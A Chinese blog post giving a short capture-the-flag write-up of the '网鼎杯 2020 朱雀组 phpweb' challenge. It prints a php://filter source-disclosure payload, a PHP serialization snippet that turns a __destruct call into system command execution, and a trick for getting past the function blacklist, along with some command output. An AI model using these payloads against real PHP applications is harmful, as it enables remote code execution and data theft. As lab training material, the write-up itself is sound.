nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

[网鼎杯 2020 朱雀组]phpweb

[网鼎杯 2020 朱雀组]phpweb

首先这个题不难,进入题目发现很奇怪
2024-03-06T00:47:23.png
然后进行一些基础信息的收集,bp抓包发现有两个参数,不知道什么意思,但是这个func是函数的意思,我们随便输一下,发现是call_user_fun函数
所以随便传一下,比如system ls不行hack,然后试了一些然后发现命令执行的函数应该差不多了,然后看wp,不喜欢坐牢
发现使用了

func=file_get_contents&p=php://filter/read=convert.base64-encode/resource=index.php

然后审计代码

<?php
class Test
{
    var $p = "ls";
    var $func = "system";
    function __destruct()
    {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$a=new Test();
echo serialize($a);
#bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var var
#!/bin/bash if [[ -f /flag.sh ]]; then source /flag.sh fi apache2-foreground apache2-foreground

发现这个代码是有两个逻辑漏洞
第一他判断你是否hack是从库中找是否有违法的函数,但是我们加 /
就绕过,比如/system ls

第二就是我们检测是对我们刚开始的输入检测,但是我们发现我们的类也有这个结构,利用了gettime函数,所以我们可以利用反序列化触发destruct函数
然后后面就ok了

还有就是我们找不到flag 可以用find命令find / -name flag*
就是找带有flag的文件

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » [网鼎杯 2020 朱雀组]phpweb

评论